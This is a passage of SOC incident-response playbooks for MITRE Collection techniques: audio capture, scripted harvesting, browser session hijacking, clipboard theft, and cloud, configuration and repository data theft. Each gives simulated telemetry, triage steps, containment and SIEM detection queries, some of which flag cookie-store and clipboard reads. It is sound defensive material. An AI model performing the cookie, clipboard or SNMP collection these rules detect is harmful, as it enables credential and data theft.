ActiveApp=None
MicrophoneInUse=True

C) Audio File Creation

Path=C:\ProgramData\AudioCache\
File=rec_2026_03_01.wav

D) Hidden Storage Location

Attributes=Hidden,System
Directory=AudioCache

E) Continuous or Scheduled Capture

Duration=8 hours
Trigger=AlwaysOn

F) Staging Behaviour

NextAction=Archive
Method=ZIP

Severity decision (SOC)

Medium

- Legitimate conferencing or recording tools

High

- Unexpected audio capture by background process

Critical

- Covert audio surveillance
- Capture targeting executives or sensitive roles
- Audio staged for exfiltration

Example severity: Critical

(Undetected microphone surveillance on executive workstation)

Step-by-step SOC workflow

Step 1 Validate audio capture activity

Confirm:

1. Which process accessed the microphone or audio APIs?
2. Is the process authorised and user-initiated?
3. Are audio files created or streamed?
4. Is capture continuous, scheduled or conditional?

Decision point

- Legitimate audio usage → document
- Unauthorised or covert capture → escalate immediately

Step 2 Identify capture method and scope

Method	Evidence	Attacker value
OS audio APIs	WASAPI, CoreAudio	Stealth
Driver-level access	Kernel audio drivers	Deep surveillance
App abuse	Hijacked legit apps	Trust abuse
Always-on capture	Long recordings	Intelligence
Triggered capture	Meeting detection	High-value data

Step 3 Map behaviour to attacker intent

3A) Espionage and Intelligence Gathering

Indicators

- Long-duration audio capture

Attacker intent

- Collect sensitive conversations

3B) Credential and MFA Harvesting

Indicators

- Capture aligned with login events

Attacker intent

- Steal verbal secrets

3C) Low-Noise Surveillance

Indicators

- No UI indicators or user prompts

Attacker intent

- Avoid detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Archive Collected Data
 - Audio compression or packaging
2. Exfiltration
 - Uploads or C2 transfer
3. Persistence
 - Services, startup items
4. Defense Evasion
 - Audio file hiding or deletion

Decision point

- Evidence found → escalate to Major Incident / Espionage Case

Containment actions

Immediate

1. Disable microphone access on affected endpoint
2. Isolate system from the network
3. Terminate suspicious processes

If surveillance confirmed

1. Preserve audio files and process memory

2. Notify legal, HR and executive stakeholders
3. Reset credentials discussed verbally if applicable
4. Expand scope to similar endpoints

Eradication and recovery

- Remove malicious tooling and persistence
- Reimage affected systems if required
- Enforce microphone permission controls
- Harden endpoint privacy protections
- Monitor closely for renewed audio access

Detection engineering (SIEM ideas)

A) Microphone API usage by non-voice apps

```
index=edr  
| where api_call LIKE "%AudioCapture%"  
| where process_name NOT IN ("teams.exe","zoom.exe","webex.exe")
```

B) Audio file creation in system directories

```
index=edr  
| where file_extension IN ("wav","mp3","aac")  
| where path LIKE "C:\\ProgramData%"
```

C) Continuous microphone access

```
index=edr  
| stats count by process_name  
| where count > threshold
```

Analyst checklist

- Audio capture confirmed
- Process and method identified
- Scope of surveillance assessed
- Audio files secured
- Incident escalated appropriately

Post-incident improvements

- Treat unauthorised audio access as high-risk espionage indicator
- Enforce least-privilege microphone access

- Alert on audio API usage by background processes
- Correlate audio capture → archiving → exfiltration
- Include audio-surveillance scenarios in SOC and purple-team exercises

Playbook 195 (MITRE Collection): Automated Collection

Technique: Automated Collection

Purpose

Detect, investigate and respond to attackers automatically collecting data at scale without manual interaction, enabling attackers to:

- Systematically harvest files, credentials, logs and configurations
- Reduce attacker hands-on time and exposure
- Collect data continuously or on schedules
- Prepare large datasets for staging and exfiltration
- Operate stealthily using scripts, agents or built-in tools

Automated Collection is industrialised data theft attackers replace manual browsing with repeatable, scripted harvesting.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic, scripted data harvesting, including:

- Repeated file access patterns across directories
- Scheduled or loop-based data collection scripts
- Large volumes of files accessed in short timeframes
- Data collection initiated by non-interactive processes
- Collection followed by archiving or staging behaviour

Example use case scenario (end-to-end)

Context: SOC detects a PowerShell script running hourly on a compromised endpoint. The script enumerates user documents, browser data, credential stores and configuration files. Collected data is written to a staging directory and archived nightly.

Attacker objective: Harvest large volumes of sensitive data automatically with minimal risk.

Defender objective: Detect scripted data harvesting early and prevent large-scale data loss.

What it looks like (simulated SOC artefacts)

A) Scripted Collection Execution

Process=powershell.exe
Script=collect.ps1
Trigger=Scheduled Task

B) Broad File Enumeration

Action=Read
Paths=C:\Users*\Documents
Paths=C:\Users*\AppData

C) High-Volume Access Pattern

FilesAccessed=4,382
Duration=2 minutes

D) Non-Interactive Execution

UserContext=SYSTEM
InteractiveLogon=False

E) Centralised Staging Directory

Path=C:\ProgramData\cache\
Content=Documents,BrowserData,Configs

F) Repeating Behaviour

ExecutionFrequency=Hourly

Severity decision (SOC)

Medium

- Legitimate backup or inventory scripts

High

- Automated collection by suspicious accounts or processes

Critical

- Automated harvesting of sensitive data
- Collection combined with archiving or exfiltration

Example severity: Critical

(Scripted mass data harvesting preceding exfiltration)

Step-by-step SOC workflow

Step 1 Validate automated collection activity

Confirm:

1. Which process or script performed collection?
2. What data categories were accessed?
3. Is the behaviour scheduled, looped or recurring?
4. Is the activity consistent with system role?

Decision point

- Legitimate automation → document
- Unauthorised data harvesting → escalate immediately

Step 2 Identify automation method and scope

Method	Evidence	Attacker value
PowerShell scripts	.ps1 loops	Native stealth
Bash/Python scripts	Cron jobs	Cross-platform
Built-in tools	robocopy, find	Living-off-the-land
Malware agents	Persistent collectors	Continuous access
Task schedulers	Timed execution	Reliability

Step 3 Map behaviour to attacker intent

3A) Large-Scale Intelligence Collection

Indicators

- Broad directory access across users

Attacker intent

- Maximise data value

3B) Stealth and Persistence

Indicators

- Non-interactive scheduled execution

Attacker intent

- Avoid user detection

3C) Pre-Exfiltration Staging

Indicators

- Centralised staging directories

Attacker intent

- Prepare for efficient data theft

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Archive Collected Data
 - ZIP, 7z, custom packaging
2. Exfiltration
 - Cloud uploads, C2 transfer
3. Persistence
 - Scheduled tasks, services
4. Defense Evasion
 - Log tampering, file hiding

Decision point

- Evidence found → escalate to Incident Response / Data Breach Investigation

Containment actions

Immediate

1. Isolate affected endpoints
2. Disable scheduled tasks or scripts
3. Block outbound connections from staging hosts

If malicious automation confirmed

1. Preserve scripts, binaries and collected data

2. Identify and secure affected data sources
3. Reset exposed credentials
4. Notify data owners and management

Eradication and recovery

- Remove malicious automation and persistence
- Restore systems to clean state if required
- Review access permissions on sensitive data
- Improve endpoint and script monitoring
- Monitor closely for renewed automated activity

Detection engineering (SIEM ideas)

A) High-volume file access

```
index=edr  
| stats count by process_name, host  
| where count > baseline
```

B) Scheduled non-interactive scripts

```
index=edr  
| where process_name IN ("powershell.exe","python.exe","bash")  
| where interactive=false
```

C) Recurrent collection patterns

```
index=edr  
| transaction host, process_name  
| where repeat_execution=true
```

Analyst checklist

- Automated collection confirmed
- Script/process identified
- Data scope assessed
- Staging and exfiltration risk evaluated
- Incident escalated appropriately

Post-incident improvements

- Treat automated collection as strong data theft precursor
- Alert on abnormal scripted access to user data

- Correlate collection → archive → exfiltration chains
- Restrict script execution and scheduling privileges
- Include automated data harvesting scenarios in SOC and purple-team exercises

Playbook 196 (MITRE Collection): Browser Session Hijacking

Technique: Browser Session Hijacking

Purpose

Detect, investigate and respond to attackers stealing or abusing active browser sessions, enabling attackers to:

- Bypass username, password and MFA controls
- Access web applications as the victim without reauthentication
- Hijack cloud consoles, email, SaaS and internal web portals
- Collect sensitive data directly from authenticated sessions
- Persist access until session expiry or invalidation

Browser Session Hijacking is session-based collection and access abuse attackers do not steal credentials they steal trust already granted by the browser.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised use or theft of browser session material, including:

- Access to cookies, local storage or browser credential databases
- Web application access without login or MFA events
- Session reuse from different IPs, devices or user agents
- Sudden access to cloud or SaaS platforms following endpoint compromise
- Session tokens used after browser or device changes

Example use case scenario (end-to-end)

Context: SOC detects a user accessing Microsoft 365 admin functions from an unfamiliar IP without MFA prompts. Endpoint telemetry shows a malware process accessing Chrome cookie storage earlier that day. The attacker reused the stolen session cookie to access cloud services directly.

Attacker objective: Hijack active authenticated browser sessions to gain silent access to applications.

Defender objective: Detect session theft early and invalidate hijacked sessions before data loss occurs.

What it looks like (simulated SOC artefacts)

A) Browser Cookie Store Access

Process=stealer.exe

TargetFile=C:\Users\UserA\AppData\Local\Google\Chrome\User Data\Default\Cookies

Action=Read

B) Session Token Reuse

App=Microsoft365

SessionID=abcd1234

Reauthentication=False

C) IP / User-Agent Mismatch

OriginalIP=10.10.5.23

NewIP=185.x.x.x

UserAgentChange=True

D) No Login or MFA Event

AuthEvent=None

MFAChallenge=False

AccessGranted=True

E) High-Privilege Web Access

Role=Admin

Action=MailboxExport

F) Session-Based Persistence

AccessDuration=6 hours

PasswordReset=False

Severity decision (SOC)

High

- Suspected browser data access without confirmed abuse

Critical

- Confirmed session hijacking
- Privileged SaaS or cloud access via stolen session

- MFA bypass through session reuse

Example severity: Critical

(Cloud admin access achieved without credentials or MFA)

Step-by-step SOC workflow

Step 1 Validate browser session hijacking

Confirm:

1. Which browser artefacts were accessed (cookies, local storage, tokens)?
2. Was access to applications possible without login or MFA?
3. Are there IP, device or user-agent anomalies?
4. Was the endpoint previously compromised?

Decision point

- Legitimate session continuation → document
- Unauthorised session reuse → escalate immediately

Step 2 Identify hijacking method and scope

Method	Evidence	Attacker value
Cookie theft	Browser DB access	Passwordless access
Local storage abuse	OAuth tokens	Long-lived sessions
Memory scraping	Decrypted tokens	Stealth
Browser extension abuse	Session access	Persistence
Sync abuse	Cloud-synced sessions	Cross-device access

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- No login or MFA events

Attacker intent

- Avoid identity controls

3B) Cloud and SaaS Control

Indicators

- Access to admin portals

Attacker intent

- Expand control and collect data

3C) Low-Noise Persistence

Indicators

- Session reuse until expiry

Attacker intent

- Maintain access silently

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. **Data Collection**
 - Email export, file downloads
2. **Persistence**
 - OAuth app creation, session extension
3. **Lateral Movement**
 - Access to additional SaaS platforms
4. **Exfiltration**
 - Cloud downloads or API exports

Decision point

- Evidence found → escalate to Major Incident / Cloud Breach

Containment actions

Immediate

1. Invalidate all active sessions for affected user
2. Force global logout across applications
3. Isolate compromised endpoint

If hijacking confirmed

1. Reset user credentials and rotate secrets
2. Revoke OAuth tokens and refresh tokens
3. Remove malicious browser extensions
4. Preserve endpoint and cloud audit logs

Eradication and recovery

- Remove malware or session-stealing tooling
- Reimage endpoint if required
- Enforce reauthentication and MFA everywhere
- Harden browser security controls
- Monitor closely for renewed session abuse

Detection engineering (SIEM ideas)

A) Browser cookie access by non-browser processes

```
index=edr  
| where file_path LIKE "%\\Cookies"  
| where process_name NOT IN ("chrome.exe","msedge.exe","firefox.exe")
```

B) Session reuse without authentication

```
index=cloud_auth  
| where login_event=false AND session_reuse=true
```

C) IP / user-agent anomaly

```
index=cloud_auth  
| where ip_change=true OR user_agent_change=true
```

Analyst checklist

- Browser session hijacking confirmed
- Affected applications identified
- Session and token scope assessed
- Endpoint contained
- Incident escalated appropriately

Post-incident improvements

- Treat browser session hijacking as critical MFA-bypass threat
- Reduce session lifetime for sensitive apps
- Enforce device binding and conditional access

- Monitor browser artefact access aggressively
- Correlate endpoint compromise → session reuse → cloud access

Playbook 197 (MITRE Collection): Clipboard Data

Technique: Clipboard Data

Purpose

Detect, investigate and respond to attackers collecting data copied to the system clipboard, enabling attackers to:

- Steal credentials, MFA codes, API keys and passwords
- Capture sensitive text such as internal URLs, commands or secrets
- Intercept cryptocurrency wallet addresses for fraud
- Monitor user activity without keystroke logging
- Collect high-value data with minimal system footprint

Clipboard Data collection is opportunistic, low-noise surveillance attackers harvest what users temporarily trust to copy and paste.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised clipboard access or monitoring, including:

- Clipboard API access by unexpected processes
- Continuous or repeated clipboard reads
- Clipboard activity by background services or malware
- Clipboard access shortly before credential misuse
- Clipboard monitoring combined with other collection techniques

Example use case scenario (end-to-end)

Context: SOC detects a suspicious process repeatedly accessing clipboard APIs on a developer workstation. Minutes later, a leaked API token is used to access internal cloud resources. Investigation confirms the token was copied to the clipboard moments before access.

Attacker objective: Harvest high-value secrets copied by users without logging keystrokes.

Defender objective: Detect clipboard monitoring early and prevent silent credential theft.

What it looks like (simulated SOC artefacts)

A) Clipboard API Access by Suspicious Process

Process=clipmon.exe
API=GetClipboardData
User=DEV\User1

B) Repeated Clipboard Reads

ReadCount=420
Interval=5 seconds

C) No User Interface Interaction

ForegroundApp=None
ClipboardRead=True

D) Sensitive Data Copied

ClipboardContent=API_KEY=AKIA*****

E) Immediate Follow-On Abuse

CloudAccess=Success
AuthMethod=Token

F) Low-Noise Behaviour

CPUUsage=Low
DiskIO=None

Severity decision (SOC)

Medium

- Single clipboard access by unknown process

High

- Repeated clipboard monitoring

Critical

- Clipboard data directly linked to credential misuse
- Capture of secrets, MFA codes or admin tokens

Example severity: Critical

(API token stolen via clipboard and used for cloud access)

Step-by-step SOC workflow

Step 1 Validate clipboard data collection

Confirm:

1. Which process accessed clipboard APIs?
2. Is clipboard access continuous or event-driven?
3. Was sensitive data copied during access?
4. Is there subsequent use of copied data?

Decision point

- Legitimate clipboard manager → document
- Unauthorised monitoring → escalate immediately

Step 2 Identify collection method and scope

Method	Evidence	Attacker value
Clipboard APIs	GetClipboardData	Stealth
Hooking	Message loop hooks	Persistence
Polling	Repeated reads	Broad capture
Trigger-based	On copy events	High value
Clipboard overwrite	Data manipulation	Fraud

Step 3 Map behaviour to attacker intent

3A) Credential and Secret Harvesting

Indicators

- Capture of tokens, passwords, MFA codes

Attacker intent

- Bypass authentication controls

3B) Opportunistic Intelligence Collection

Indicators

- Clipboard access across many apps

Attacker intent

- Maximise chance of valuable capture

3C) Minimal Footprint Surveillance

Indicators

- No keystroke logging or UI impact

Attacker intent

- Avoid detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Use Alternate Authentication Material
 - Token, cookie or key reuse
2. Browser Session Hijacking
 - Session abuse after secret capture
3. Exfiltration
 - Clipboard data sent outbound
4. Persistence
 - Clipboard hooks on startup

Decision point

- Evidence found → escalate to Incident Response / Credential Compromise

Containment actions

Immediate

1. Terminate suspicious clipboard-monitoring processes
2. Isolate affected endpoint
3. Invalidate potentially exposed secrets

If compromise confirmed

1. Rotate all credentials copied during exposure window
2. Revoke tokens and sessions
3. Preserve memory and process artefacts
4. Notify affected application owners

Eradication and recovery

- Remove malware or clipboard hooks
- Reimage endpoint if required
- Harden endpoint API monitoring
- Educate users on clipboard risk for secrets
- Monitor closely for renewed clipboard access

Detection engineering (SIEM ideas)

A) Clipboard API access by non-UI apps

```
index=edr  
| where api_call LIKE "%Clipboard%"  
| where process_name NOT IN ("explorer.exe","clip.exe")
```

B) High-frequency clipboard reads

```
index=edr  
| stats count by process_name  
| where count > threshold
```

C) Clipboard access followed by token use

```
index=edr OR index=cloud_auth  
| transaction user  
| where clipboard_access=true AND token_auth=true
```

Analyst checklist

- Clipboard access confirmed
- Process legitimacy assessed
- Sensitive data exposure evaluated
- Credentials rotated
- Incident escalated if required

Post-incident improvements

- Treat clipboard monitoring as high-risk credential collection
- Restrict clipboard API access where possible
- Monitor for clipboard polling behaviour
- Correlate clipboard access → credential use
- Include clipboard-stealer scenarios in SOC and purple-team exercises

Playbook 198 (MITRE Collection): Data from Cloud Storage

Technique: Data from Cloud Storage

Purpose

Detect, investigate and respond to attackers collecting data directly from cloud storage services, enabling attackers to:

- Steal files from SaaS and IaaS storage without touching endpoints
- Abuse valid sessions, tokens or service principals
- Harvest sensitive data at scale (documents, backups, exports)
- Bypass traditional endpoint-based controls
- Blend activity into normal cloud usage patterns

Data from Cloud Storage is control-plane and data-plane collection attackers pull data where it lives, often silently and at scale.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or anomalous access to cloud storage, including:

- Bulk downloads from cloud storage buckets or drives
- Access to storage from unusual IPs, devices or regions
- Storage access without corresponding user interaction
- Service accounts or tokens accessing unexpected datasets
- Cloud storage access following session hijacking or token theft

Example use case scenario (end-to-end)

Context: SOC observes a compromised user account downloading thousands of files from SharePoint Online outside business hours. No MFA prompt occurs due to a hijacked browser session. The same session token is later used to access Azure Blob Storage containers containing backups.

Attacker objective: Collect high-value data directly from cloud storage with minimal noise.

Defender objective: Detect abnormal cloud data access early and prevent data loss.

What it looks like (simulated SOC artefacts)

A) Mass File Download from SaaS Storage

Service=SharePoint Online
User=CORP\UserA
FilesDownloaded=3,214
Duration=12 minutes

B) Token-Based Access Without Reauth

AuthMethod=Session Token
MFACheck=FALSE

C) Unusual Access Location

IP=185.x.x.x
Region=Unexpected
UserAgent=Different

D) Service Account Abuse

Principal=svc-backup
Action=ListObjects
Scope=FinanceContainer

E) Access to Sensitive Containers

Storage=Azure Blob
Container=prod-backups
Permission=Read

F) Staging Behaviour

NextAction=Archive
Destination=Cloud VM

Severity decision (SOC)

High

- Single anomalous cloud storage access

Critical

- Bulk data collection from cloud storage
- Access to backups, finance, legal or IP repositories
- Storage access via hijacked sessions or tokens

Example severity: Critical

(Mass exfiltration of SharePoint and Blob Storage data)

Step-by-step SOC workflow

Step 1 Validate cloud storage data collection

Confirm:

1. Which cloud service was accessed (SharePoint, OneDrive, S3, Blob, GCS)?
2. Was access interactive, token-based or service-account driven?
3. Is volume consistent with user role and baseline?
4. Are sensitive datasets involved?

Decision point

- Legitimate business activity → document
- Unauthorised or excessive access → escalate immediately

Step 2 Identify access method and scope

Method	Evidence	Attacker value
User session hijack	No MFA, token reuse	Silent access
API access	ListObjects, GetObject	Scale
Service account abuse	Principal misuse	Persistence
Shared links	Public/guest access	Bypass auth
Backup access	Snapshot exports	High value

Step 3 Map behaviour to attacker intent

3A) High-Value Data Theft

Indicators

- Backups, finance, IP accessed

Attacker intent

- Maximise impact

3B) Stealthy Cloud-Native Collection

Indicators

- No endpoint telemetry

Attacker intent

- Evade EDR controls

3C) Preparation for Exfiltration

Indicators

- Staging to cloud VM or archive creation

Attacker intent

- Efficient data transfer

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Archive Collected Data
 - ZIP/7z in cloud or VM
2. Exfiltration
 - Cloud-to-cloud transfers, downloads
3. Persistence
 - OAuth app grants, long-lived tokens
4. Lateral Movement
 - Access to additional tenants or subscriptions

Decision point

- Evidence found → escalate to Major Incident / Cloud Data Breach

Containment actions

Immediate

1. Revoke active sessions and tokens
2. Disable affected user or service accounts
3. Restrict access to impacted storage resources

If abuse confirmed

1. Rotate keys, secrets and service principals

2. Invalidate shared links and guest access
3. Preserve cloud audit logs and access records
4. Notify data owners and legal/compliance teams

Eradication and recovery

- Remove attacker access paths (tokens, OAuth apps)
- Reissue clean credentials
- Review and tighten storage permissions
- Enable conditional access and device binding
- Monitor closely for renewed access attempts

Detection engineering (SIEM ideas)

A) Bulk cloud storage downloads

```
index=cloud_audit  
| stats sum(bytes_downloaded) by user, storage  
| where sum(bytes_downloaded) > baseline
```

B) Token-based storage access without MFA

```
index=cloud_auth  
| where auth_method="Token" AND mfa=false
```

C) Service account access anomaly

```
index=cloud_audit  
| where principal_type="ServiceAccount"  
| where storage_scope NOT IN baseline
```

Analyst checklist

- Cloud storage access confirmed
- Account or token type identified
- Data sensitivity assessed
- Sessions and keys revoked
- Incident escalated if required

Post-incident improvements

- Treat cloud storage collection as primary data breach vector
- Reduce token lifetimes and enforce MFA/CA
- Monitor bulk access and unusual regions

- Correlate session hijack → storage access → archive/exfiltration
- Include cloud-native data theft scenarios in SOC and purple-team exercises

Playbook 199 (MITRE Collection): Data from Configuration Repository

Technique: Data from Configuration Repository

Sub-techniques:

- SNMP (MIB Dump)
- Network Device Configuration Dump

Purpose

Detect, investigate and respond to attackers extracting configuration data from network and infrastructure repositories, enabling attackers to:

- Harvest device credentials, community strings and secrets
- Learn network topology, VLANs, routes, ACLs and trust boundaries
- Identify management interfaces and weak configurations
- Prepare for lateral movement, persistence or defense evasion
- Target high-value network infrastructure (routers, switches, firewalls)

Data from Configuration Repository is infrastructure intelligence collection attackers steal the blueprints of the network rather than endpoint data.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised access to configuration data, including:

- SNMP walks or bulk GETs from unexpected sources
- Retrieval of running/startup configs from network devices
- Configuration exports outside change windows
- Access to network management planes by non-network accounts
- Configuration data accessed prior to lateral movement or impact

Example use case scenario (end-to-end)

Context: SOC detects an internal host performing large SNMP walks against multiple switches. Shortly after, the same host retrieves firewall configurations via the management API. The attacker uses harvested credentials and topology data to move laterally and bypass controls.

Attacker objective: Collect network configuration intelligence to enable precise, low-noise attacks.

Defender objective: Detect early infrastructure reconnaissance and prevent downstream compromise.

What it looks like (simulated SOC artefacts)

A) SNMP MIB Dump

SourceIP=10.10.20.55
Target=SW-CORE-01
Protocol=SNMP
Operation=GETBULK
Community=public

B) High-Volume SNMP Walk

OIDsRequested=1.3.6.1.*
RequestCount=18,000

C) Network Device Config Export

Device=FW-PERIM-01
Action=ExportConfig
Method=API
User=svc-netops

D) Config Includes Secrets

Content=VPN_PSK, SNMP_RW, TACACS_Key

E) Access Outside Change Window

ChangeTicket=None
Time=03:14 AM

F) Follow-on Recon Use

NextAction=Targeted Lateral Movement

Severity decision (SOC)

High

- Single unauthorised SNMP query or config read

Critical

- Bulk SNMP MIB dumps
- Extraction of firewall/router configurations
- Exposure of secrets or credentials

Example severity: Critical

(Network blueprints and secrets harvested from core infrastructure)

Step-by-step SOC workflow

Step 1 Validate configuration repository access

Confirm:

1. Which method was used (SNMP vs config export)?
2. Was access authorised and role-appropriate?
3. Did the data include credentials or sensitive parameters?
4. Did access occur outside approved maintenance windows?

Decision point

- Legitimate network operations → document
- Unauthorised collection → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
SNMP MIB dump	Bulk OID requests	Topology & creds
SNMP RW abuse	Config writes/reads	Device control
Config export	Startup/running config	Full visibility
API-based dump	REST/Netconf	Automation
Backup access	Stored configs	Historical secrets

Step 3 Map behaviour to attacker intent

3A) Network Intelligence Gathering

Indicators

- Broad MIB walks or full config exports

Attacker intent

- Understand network layout and controls

3B) Credential and Secret Harvesting

Indicators

- Extraction of PSKs, SNMP RW, TACACS keys

Attacker intent

- Enable lateral movement and persistence

3C) Precision Attack Preparation

Indicators

- Config access followed by targeted actions

Attacker intent

- Bypass defenses with minimal noise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Network device access, remote services
2. Defense Evasion
 - ACL or firewall bypass attempts
3. Persistence
 - Backdoored device configs
4. Impact
 - Traffic redirection, outages

Decision point

- Evidence found → escalate to Major Incident / Network Compromise

Containment actions

Immediate

1. Block SNMP access from unauthorised sources
2. Disable or rotate exposed SNMP communities and keys

3. Restrict management-plane access

If compromise confirmed

1. Rotate all device credentials and secrets
2. Restore configs from known-good backups
3. Audit all network devices for unauthorised changes
4. Preserve SNMP, API and device logs

Eradication and recovery

- Remove attacker access paths
- Harden SNMP (v3 only, auth+priv, ACLs)
- Enforce RBAC and MFA for device management
- Limit config export capabilities
- Monitor closely for renewed access attempts

Detection engineering (SIEM ideas)

A) SNMP bulk activity

```
index=network
| where protocol="SNMP"
| stats count by src_ip, target
| where count > baseline
```

B) Config export outside change window

```
index=network_device
| where action="ExportConfig" AND approved_change=false
```

C) SNMP community misuse

```
index=network
| where snmp_community IN ("public","private")
```

Analyst checklist

- Config repository access confirmed
- Method and scope identified
- Secrets exposure assessed
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat config repositories as Tier-0 intelligence assets
- Disable SNMP v1/v2c enforce SNMPv3 only
- Monitor bulk SNMP and config exports aggressively
- Correlate config access → lateral movement → defense bypass
- Include network-intelligence theft scenarios in SOC and purple-team exercises

Playbook 200 (MITRE Collection): Data from Information Repositories

Technique: Data from Information Repositories

Sub-techniques:

- Confluence
- SharePoint
- Code Repositories
- Customer Relationship Management (CRM) Software
- Messaging Applications
- Databases

Purpose

Detect, investigate and respond to attackers harvesting data from organisational knowledge and data repositories, enabling attackers to:

- Steal intellectual property, internal documentation and credentials
- Collect customer, financial, legal or operational data
- Understand internal processes, architecture and incident response plans
- Abuse legitimate access to blend into normal business activity
- Prepare for extortion, espionage or follow-on attacks

Data from Information Repositories is high-context collection attackers steal what the organisation knows, not just files or credentials.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or anomalous access to internal repositories, including:

- Bulk downloads or exports from documentation platforms
- Mass cloning or pulling from code repositories
- CRM or database exports outside business justification
- Access to sensitive repositories by unusual users or service accounts
- Repository access following session hijacking or credential abuse

Example use case scenario (end-to-end)

Context: SOC detects a compromised developer account cloning multiple private Git repositories and exporting Confluence spaces overnight. The same account later queries production databases for customer records. No malware is observed on endpoints access is entirely application-layer.

Attacker objective: Harvest high-value organisational knowledge and customer data at scale.

Defender objective: Detect abnormal repository access early and prevent data loss.

What it looks like (simulated SOC artefacts)

A) Confluence Space Export

Service=Confluence
User=CORP\UserA
Action=ExportSpace
Spaces=Security,Architecture

B) SharePoint Mass Download

Service=SharePoint
FilesDownloaded=1,842
Library=LegalDocs

C) Code Repository Clone

Service=GitHub Enterprise
Action=Clone
RepoCount=17
Private=true

D) CRM Data Export

Service=Salesforce
Action=Export
Records=250,000
Object=Customer

E) Messaging Application Data Access

Service=Slack
Action=ExportMessages
Channels=Private

F) Database Query Abuse

DB=Prod-Customer
Query=SELECT *

User=app-readonly
RowsReturned=5,200,000

Severity decision (SOC)

High

- Single repository accessed unusually

Critical

- Bulk exports or mass access
- Access to sensitive repositories (security, legal, customer data)
- Cross-repository harvesting

Example severity: Critical

(Mass exfiltration of documentation, source code and customer records)

Step-by-step SOC workflow

Step 1 Validate repository data collection

Confirm:

1. Which repositories were accessed (docs, code, CRM, DB)?
2. Is the volume and scope consistent with user role?
3. Did access occur outside normal business hours or patterns?
4. Are sensitive or regulated datasets involved?

Decision point

- Legitimate business activity → document
- Unauthorised or excessive access → escalate immediately

Step 2 Identify repository type and scope

Repository	Evidence	Attacker value
Confluence	Space exports	Internal knowledge
SharePoint	Mass downloads	Legal & finance
Code repos	Repo cloning	IP & secrets
CRM	Data exports	Customer data
Messaging apps	Message history	Intelligence
Databases	Large queries	Core datasets

Step 3 Map behaviour to attacker intent

3A) Intellectual Property Theft

Indicators

- Code and architecture docs accessed

Attacker intent

- Steal IP or enable follow-on attacks

3B) Customer and Regulatory Data Theft

Indicators

- CRM and database exports

Attacker intent

- Extortion, fraud or resale

3C) Organisational Intelligence Gathering

Indicators

- Security, IR or internal process docs

Attacker intent

- Evade detection and response

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Archive Collected Data
 - ZIP/7z of exports
2. Exfiltration
 - Cloud uploads, API transfers
3. Persistence
 - OAuth apps, service tokens
4. Impact
 - Extortion, data leaks, ransomware

Decision point

- Evidence found → escalate to Major Incident / Data Breach

Containment actions

Immediate

1. Suspend or restrict affected accounts
2. Revoke active sessions and tokens
3. Stop ongoing exports or queries

If abuse confirmed

1. Rotate credentials and secrets
2. Invalidate API tokens and OAuth grants
3. Preserve application and audit logs
4. Notify data owners, legal and compliance teams

Eradication and recovery

- Remove attacker access paths
- Review and tighten repository permissions
- Enforce least privilege and role separation
- Enable conditional access and MFA
- Monitor closely for renewed repository access

Detection engineering (SIEM ideas)

A) Bulk repository exports

```
index=app_audit  
| where action IN ("Export","Clone")  
| stats count by user, service  
| where count > baseline
```

B) Unusual database query volume

```
index=db_audit  
| stats sum(rows_returned) by user  
| where sum(rows_returned) > baseline
```

C) Cross-repository harvesting

```
index=app_audit  
| stats dc(service) by user  
| where dc(service) > 2
```

Analyst checklist

- Repository access confirmed
- User role and intent assessed
- Data sensitivity evaluated
- Sessions and tokens revoked
- Incident escalated appropriately

Post-incident improvements

- Treat information repositories as Tier-0 data assets
- Monitor bulk exports and cross-service access
- Restrict export capabilities by default
- Correlate session hijack → repository access → exfiltration
- Include repository data-theft scenarios in SOC and purple-team exercises

Playbook 201 (MITRE Collection): Data from Local System

Technique: Data from Local System

Purpose

Detect, investigate and respond to attackers collecting data stored locally on compromised hosts, enabling attackers to:

- Steal documents, spreadsheets, PDFs and archives
- Harvest locally cached credentials, keys and configuration files
- Collect logs, email data, browser artefacts and application data
- Gather sensitive operational or personal data without cloud access
- Prepare data for staging, archiving and exfiltration

Data from Local System is endpoint-centric collection attackers exploit what already exists on disk to maximise value quickly.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or abnormal access to local files and data, including:

- Broad directory traversal across user profiles
- High-volume file reads by non-interactive processes
- Access to sensitive paths (Documents, Desktop, AppData, Downloads)
- Data collection immediately after initial access or privilege escalation
- File access followed by archiving or outbound transfer

Example use case scenario (end-to-end)

Context: SOC observes a suspicious process enumerating multiple user directories on a workstation. Thousands of files are read and copied to a hidden staging folder under ProgramData. Shortly after, the files are compressed and prepared for exfiltration.

Attacker objective: Collect locally stored sensitive data rapidly before detection.

Defender objective: Detect abnormal local data access early and prevent data loss.

What it looks like (simulated SOC artefacts)

A) Broad User Directory Access

Process=collector.exe

Action=Read
Paths=C:\Users*\Documents

B) High-Volume File Reads

FilesRead=6,742
Duration=4 minutes

C) Access to Sensitive Locations

Path=C:\Users\UserA\Desktop\Finance\
Path=C:\Users\UserA\AppData\Roaming\

D) Non-Interactive Execution

UserContext=SYSTEM
InteractiveLogon=False

E) Local Staging Directory

Path=C:\ProgramData\cache\
Attributes=Hidden

F) Pre-Archive Activity

NextAction=Archive
Tool=7zip

Severity decision (SOC)

Medium

- Limited file access with unclear intent

High

- Broad local data collection by suspicious process

Critical

- Mass collection of sensitive local data
- Collection followed by staging or exfiltration

Example severity: Critical

(Mass theft of local documents and credentials)

Step-by-step SOC workflow

Step 1 Validate local data collection

Confirm:

1. Which process accessed local data?
2. Was access interactive or automated?
3. What data types and locations were accessed?
4. Is behaviour consistent with user role or system function?

Decision point

- Legitimate user activity → document
- Unauthorised mass access → escalate immediately

Step 2 Identify collection method and scope

